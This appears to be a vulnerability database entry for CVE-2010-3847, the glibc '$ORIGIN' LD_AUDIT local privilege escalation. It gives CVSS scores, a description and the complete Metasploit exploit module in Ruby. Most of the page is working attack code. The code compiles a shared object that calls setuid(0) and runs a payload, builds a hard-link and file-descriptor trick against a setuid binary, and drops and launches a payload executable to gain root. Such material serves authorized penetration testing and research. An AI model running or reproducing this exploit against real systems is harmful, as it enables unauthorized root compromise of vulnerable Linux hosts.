CVSS2
Attack Vector
LOCAL
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:M/Au:N/C:C/I:C/A:C
EPSS
Percentile
39.0%
This module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker. glibc ld.so
versions before 2.11.3, and 2.12.x before 2.12.2 does not properly restrict use of the LD_AUDIT
environment variable when loading setuid executables which allows control over the $ORIGIN
library search path resulting in execution of arbitrary shared objects. This module opens a file descriptor to the specified suid executable via a hard link, then replaces the hard link with a shared object before instructing the linker to execute the file descriptor, resulting in arbitrary code execution. The specified setuid binary must be readable and located on the same file system partition as the specified writable directory. This module has been tested successfully on: glibc 2.5 on CentOS 5.4 (x86_64); glibc 2.5 on CentOS 5.5 (x86_64); glibc 2.12 on Fedora 13 (i386); and glibc 2.5-49 on RHEL 5.5 (x86_64). Some versions of ld.so
, such as the version shipped with Ubuntu 14, hit a failed assertion in dl_open_worker
causing exploitation to fail.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Linux
def initialize(info = {})
super(
update_info(
info,
'Name' => "glibc '$ORIGIN' Expansion Privilege Escalation",
'Description' => %q{
This module attempts to gain root privileges on Linux systems by abusing
a vulnerability in the GNU C Library (glibc) dynamic linker.
glibc `ld.so` versions before 2.11.3, and 2.12.x before 2.12.2 does not
properly restrict use of the `LD_AUDIT` environment variable when loading
setuid executables which allows control over the `$ORIGIN` library search
path resulting in execution of arbitrary shared objects.
This module opens a file descriptor to the specified suid executable via
a hard link, then replaces the hard link with a shared object before
instructing the linker to execute the file descriptor, resulting in
arbitrary code execution.
The specified setuid binary must be readable and located on the same
file system partition as the specified writable directory.
This module has been tested successfully on:
glibc 2.5 on CentOS 5.4 (x86_64);
glibc 2.5 on CentOS 5.5 (x86_64);
glibc 2.12 on Fedora 13 (i386); and
glibc 2.5-49 on RHEL 5.5 (x86_64).
Some versions of `ld.so`, such as the version shipped with Ubuntu 14,
hit a failed assertion in `dl_open_worker` causing exploitation to fail.
},
'License' => MSF_LICENSE,
'Author' => [
'Tavis Ormandy', # Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2010-10-18',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
['Automatic', {}],
['Linux x86', { 'Arch' => ARCH_X86 }],
['Linux x64', { 'Arch' => ARCH_X64 }]
],
'References' => [
['CVE', '2010-3847'],
['BID', '44154'],
['EDB', '15274'],
['URL', 'https://seclists.org/fulldisclosure/2010/Oct/257'],
['URL', 'https://www.ubuntu.com/usn/usn-1009-1'],
['URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847'],
['URL', 'https://access.redhat.com/security/cve/CVE-2010-3847']
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options [
OptString.new('SUID_EXECUTABLE', [true, 'Path to a suid executable', '/bin/ping'])
]
register_advanced_options [
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def base_dir
datastore['WritableDir']
end
def suid_exe_path
datastore['SUID_EXECUTABLE']
end
def check
v = Rex::Version.new glibc_version
return CheckCode::Safe('Could not determine the GNU C library version') if v.eql? ''
if v >= Rex::Version.new('2.12.2') ||
(v >= Rex::Version.new('2.11.3') && v < Rex::Version.new('2.12'))
return CheckCode::Safe("GNU C Library version #{v} is not vulnerable")
end
vprint_good "GNU C Library version #{v} appears vulnerable"
return CheckCode::Safe("#{suid_exe_path} file not found") unless file? suid_exe_path
return CheckCode::Detected("#{suid_exe_path} is not setuid") unless setuid? suid_exe_path
vprint_good "#{suid_exe_path} is setuid"
return CheckCode::Detected("#{suid_exe_path} is not readable") unless readable?(suid_exe_path)
vprint_good "#{suid_exe_path} is readable"
CheckCode::Appears
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
chmod path
end
def exploit
check_status = check
if check_status == CheckCode::Appears
print_good 'The target appears to be vulnerable'
elsif check_status == CheckCode::Detected
fail_with Failure::BadConfig, "#{suid_exe_path} is not suid or not readable"
else
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'"
base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'"
if suid_partition == base_partition
vprint_good "'#{suid_exe_path}' and '#{base_dir}' are located on the same partition"
else
print_warning "'#{suid_exe_path}' and '#{base_dir}' are not located on the same partition"
end
payload_name = ".#{rand_text_alphanumeric 5..10}"
payload_path = "#{base_dir}/#{payload_name}"
# Set target
uname = kernel_hardware
vprint_status "System architecture is #{uname}"
if target.name.eql? 'Automatic'
case uname
when 'x86_64'
my_target = targets[2]
when /x86/, /i\d86/
my_target = targets[1]
else
fail_with Failure::NoTarget, 'Unable to automatically select a target'
end
else
my_target = target
end
print_status "Using target: #{my_target.name}"
cpu = nil
case my_target['Arch']
when ARCH_X86
cpu = Metasm::Ia32.new
when ARCH_X64
cpu = Metasm::X86_64.new
else
fail_with Failure::NoTarget, 'Target is not compatible'
end
# Compile shared object
so_stub = %|
extern int setuid(int);
extern int setgid(int);
extern int system(const char *__s);
void init(void) __attribute__((constructor));
void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("#{payload_path}");
}
|
begin
so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
rescue StandardError => e
print_error "Metasm encoding failed: #{$ERROR_INFO}"
elog('Metasm encoding failed', error: e)
fail_with Failure::Unknown, 'Metasm encoding failed'
end
# Upload shared object
so_name = ".#{rand_text_alphanumeric 5..10}"
so_path = "#{base_dir}/#{so_name}"
upload_and_chmodx so_path, so
# Upload exploit
link_name = ".#{rand_text_alphanumeric 5..10}"
link_path = "#{base_dir}/#{link_name}"
fd = rand(3..9)
exp = %(
rm -rf '#{link_path}'
mkdir '#{link_path}'
ln #{suid_exe_path} #{link_path}/#{link_name}
exec #{fd}< #{link_path}/#{link_name}
ls -l /proc/$$/fd/#{fd}
rm -rf '#{link_path}'
ls -l /proc/$$/fd/#{fd}
mv #{so_path} #{link_path}
LD_AUDIT="\\$ORIGIN" exec /proc/self/fd/#{fd}
)
exp_name = ".#{rand_text_alphanumeric 5..10}"
exp_path = "#{base_dir}/#{exp_name}"
upload_and_chmodx exp_path, exp
register_file_for_cleanup link_path
# Upload payload
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit
print_status 'Launching exploit...'
# The echo at the end of the command is required
# else the original session may die
output = cmd_exec "#{exp_path}& echo "
output.each_line { |line| vprint_status line.chomp }
end
end